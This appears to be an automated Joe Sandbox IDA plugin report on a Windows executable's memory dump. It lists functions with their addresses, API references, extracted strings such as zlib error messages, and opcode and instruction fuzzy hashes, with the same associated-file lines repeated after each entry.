Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown header flags set
API String ID: 0-1127688429
Opcode ID: 6a55f11302ef793728786adf415505d571280719f8ef56880a9f0a37636d8ec0
Instruction ID: b68cc838592034025f94e81283f4ab3eaa476e32aa06f693e99a7dd1df610f58
Opcode Fuzzy Hash: 6a55f11302ef793728786adf415505d571280719f8ef56880a9f0a37636d8ec0
Instruction Fuzzy Hash: 18F17D62A1C3E59BE7A5FB19C088A3A3AA9FF45740F055538EA4D877D1CF78E940C780

Function 00007FF640508A38 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF640508C87
RaiseException.KERNEL32 ref: 00007FF640508C98

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 4367feba8b0fb5a89db2d79700bffb7903d016d74ce2a4ac284103265cf95646
Instruction ID: 7ec5fa7cdb195189e5f1731c9442ec5abb57e49ccd5d6461e00cde3653f0a6d2
Opcode Fuzzy Hash: 4367feba8b0fb5a89db2d79700bffb7903d016d74ce2a4ac284103265cf95646
Instruction Fuzzy Hash: 17B14C73608B998AEB19EF29C54676C3BA0F745B4CF188921DEAD877A4CF39D851C700

Function 00007FF6404F2CC4 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF6404F3074
, xrefs: 00007FF6404F2E32

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: 25965de2e6678be5c8c686b25b3b835ec4bf2bfab2b797158b347abdb642f747
Instruction ID: 507b9e037ead1ce01559417233c4d109f09d2f7f2a832e3c305aed6d828b1908
Opcode Fuzzy Hash: 25965de2e6678be5c8c686b25b3b835ec4bf2bfab2b797158b347abdb642f747
Instruction Fuzzy Hash: 43E1A332A1C666E6EB68BE25C25013933AAFF45B48F244235DE4E87B94DF2DE851C740

Function 00007FF6404E95FB Relevance: 2.7, Strings: 2, Instructions: 218COMMON

Download Yara Rule

Strings

incorrect header check, xrefs: 00007FF6404E9782
invalid window size, xrefs: 00007FF6404E9769

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size
API String ID: 0-900081337
Opcode ID: 226024973a440a2a6261c5f164d8bafa30541a105b972a390c392a8354fe07a0
Instruction ID: 1319d2c52f0ddacdce8fbea6c94faf3ba148c94d74f613ccbbd2564512c31264
Opcode Fuzzy Hash: 226024973a440a2a6261c5f164d8bafa30541a105b972a390c392a8354fe07a0
Instruction Fuzzy Hash: 38916472A1C2A5D7E7A5FF14C498A7E3AA9FB44354F115139DA4A867C0CF3CE940CB80

Function 00007FF6404FD200 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

e+000, xrefs: 00007FF6404FD30D
gfff, xrefs: 00007FF6404FD38A

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: 1324d18368fb7be0dec1b44ace24e6b174879433860390047f5d35653063db2a
Instruction ID: 07be841b36a8ad68264081b872895a435b570038f7f28e65eb5203627b8ca346
Opcode Fuzzy Hash: 1324d18368fb7be0dec1b44ace24e6b174879433860390047f5d35653063db2a
Instruction Fuzzy Hash: B8515662B1C2E196E725AE36A8007697B97F744B94F099231CBA8CBBC5CE3DE440C701

Function 00007FF6404FCD6C Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF6404FD0AE

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: ee332c23296b8dd3ed29fdb42bef122adb490463d0c8b601810d73b835641fc7
Instruction ID: e8e52df9954e3396bcbc7478c0accfee4df6b80ed56af9b50b08b3160b7d39ff
Opcode Fuzzy Hash: ee332c23296b8dd3ed29fdb42bef122adb490463d0c8b601810d73b835641fc7
Instruction Fuzzy Hash: DDA14562B1C796D6EB21EF29A5007AABB9AEB54B84F008132DE8D877C1DE3DD501C701

Function 00007FF6404F7AAC Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF6404F7ACB

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: dd4bbb8096afc2135879a6e6acc50949ef59d292da7f7bf8111e5166495e4f15
Instruction ID: 2473df1ada8a6ba266b1aea33a1287943bbba433d24ce6df0ced9f7c77ec0f7f
Opcode Fuzzy Hash: dd4bbb8096afc2135879a6e6acc50949ef59d292da7f7bf8111e5166495e4f15
Instruction Fuzzy Hash: 5B51B711F0C6A2A1FA68BB2659519BE529BAF41BCCF485434DE1DC77D6EE3CF4518300

Function 00007FF640502790 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF640502794

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: fe1a72d78314f5032ff6e3f3402ce84269ae1386cefa971ca0fc6f511f9bbc55
Instruction ID: 36bfa4b50cead5a5bd0a3d3b1ddac3be11f7be548df40e15b87a432a4f5a9667
Opcode Fuzzy Hash: fe1a72d78314f5032ff6e3f3402ce84269ae1386cefa971ca0fc6f511f9bbc55
Instruction Fuzzy Hash: 6AB09224E0FE96D2EA0C3B116D9621822A5BF88710FA48038C41C81320DE3C20A58B00

Function 00007FF6404F28C0 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b05403af9c31de739a9311cbf741df56ce5de8bb6a66a9cc9bcf40cf40427d0b
Instruction ID: 336e8f564976c9158b8518c6aee3c7b045aeb8a5b55644423ca815c23e672e1e
Opcode Fuzzy Hash: b05403af9c31de739a9311cbf741df56ce5de8bb6a66a9cc9bcf40cf40427d0b
Instruction Fuzzy Hash: A1D1D272E0C662E6EB78FE29865067D37AAEB45B48F144235CE0D87B95DF39E841C700

Function 00007FF6404E8B20 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6de572fc7ea0867e481f021e98a3cee959a95ba6dd1d6718a656c0f39a4e480
Instruction ID: 45c5f041115dfadb63780dd9e3dd4908490e114eb674a5fef64bb9c898b31155
Opcode Fuzzy Hash: b6de572fc7ea0867e481f021e98a3cee959a95ba6dd1d6718a656c0f39a4e480
Instruction Fuzzy Hash: 67C1B0722182F18FD289FB29E45957A73E1F798309BD4402AEF8747B85CA3CE415D790

Function 00007FF6404F1F30 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54646038064d7a6353eabae39e6447674b1691c16f4822fec46df2a19c6da082
Instruction ID: b04325a08f3175496b8dd0cefda34254d0f4333d9266304a8b235d24ec12a877
Opcode Fuzzy Hash: 54646038064d7a6353eabae39e6447674b1691c16f4822fec46df2a19c6da082
Instruction Fuzzy Hash: F5B1AD7290C7A5EAE765EF29C15023C3BAAE749B48F250235CB4E87B95CF39E441C705

Function 00007FF6404FD880 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5cf27518f3756e107451e616d5c43acfc5497bdc9406be32d6656a2e3ee85f8
Instruction ID: 89454708fc1293e8136b71d938ce85a9ae3543bd287ddbdb76430738bf94bdf9
Opcode Fuzzy Hash: c5cf27518f3756e107451e616d5c43acfc5497bdc9406be32d6656a2e3ee85f8
Instruction Fuzzy Hash: A681D172A0C791D6EB74FF19A44036A7A97FB89794F144235DA9D83B99CF3CE5408B00

Function 00007FF640505728 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 7a9558e86fa8b462753dac68b64cf5067dc6b1cda5ab5f882eee36bb89ede29b
Instruction ID: 77121a806d9165bea2c7aaba9a9a6fb1808540df820670c2051d5efaa22095cf
Opcode Fuzzy Hash: 7a9558e86fa8b462753dac68b64cf5067dc6b1cda5ab5f882eee36bb89ede29b
Instruction Fuzzy Hash: 4261FA22E0C2A2A6F76CBA28861463E6681EF43778F144639DA7DC67D1DE7DE840C700

Function 00007FF6404F1484 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction ID: 47e1752d72a26e8e4a54a1118d5733f31ee3a540483ce2786929be256c82dd77
Opcode Fuzzy Hash: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction Fuzzy Hash: 2A517476A1C661E6E724AB29C04423837A6EBD5B5CF245135CA4E977B4CF3AE842C740

Function 00007FF6404F0C64 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction ID: 7c82808dda6c25efef3f1126cbad555eb67c408fb4bf447356964eac5c37f20f
Opcode Fuzzy Hash: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction Fuzzy Hash: A2516376A1C6A1D6E724AB29C04433937A6FB95B68F244231CF8D97795CF3AE843C740

Function 00007FF6404F1074 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction ID: 36f0126b488c0b6e6ae175e5f0f31631de28970dc0926d135239e879a17267fc
Opcode Fuzzy Hash: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction Fuzzy Hash: 7E517536A1C6B1D6E724AB29C04423837A6EB89F58F244135CE4D977E4CF7AE843C740

Function 00007FF6404F1280 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction ID: cf07589b2d742e0f159bd812ff734021459defd5dd3c1882d2c8309a520b2f04
Opcode Fuzzy Hash: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction Fuzzy Hash: 6A517036B1C661D6E725AB29C04023D77AAEBC5B58F254131CE4D97BB8CF3AE842D740

Function 00007FF6404F0A60 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction ID: 99dd1c8235f2189647ba3b38af4aaf252857bb7f3fbef9220399fe4511cf4bb1
Opcode Fuzzy Hash: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction Fuzzy Hash: 93517E76A1D661D6E724BB29C04023937AAEB94B58F284131CF4D977A9DF3AE843C740

Function 00007FF6404F0E70 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction ID: 4f6fa3933d20b37c1a36b9fabeeae5316ef1279ac7ee2b607117867212f70df7
Opcode Fuzzy Hash: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction Fuzzy Hash: 23518036A1CA61D6E734AB29C04063C37AAEB85F58F244131DF4D977A5CF7AE892C740

Function 00007FF6404F5040 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: 73fbb83b5cc3c995eae67f19596c82819d7aecea7ccde522a6a4224d0e5e442d
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: 2D41C572D4D76BE8F955B91806147B4268AEF12BA0D6852B0DFA9D33C3CD0D7D878348

Function 00007FF6404F91B0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 8d7eb27f456b44a91f9c68f162ea9965681a4a0d7ad24d9c24e3bfc258020ebf
Instruction ID: db0dd6b15e03006135c5e4bd97892dac167f4811191bba2d69ddf9dd56c481da
Opcode Fuzzy Hash: 8d7eb27f456b44a91f9c68f162ea9965681a4a0d7ad24d9c24e3bfc258020ebf
Instruction Fuzzy Hash: 8C410372B18A6492EF48EF6ADA1416973A6FB4CFD4B099432DE0DD7B58DE3CD8418300

Function 00007FF6404F73F4 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

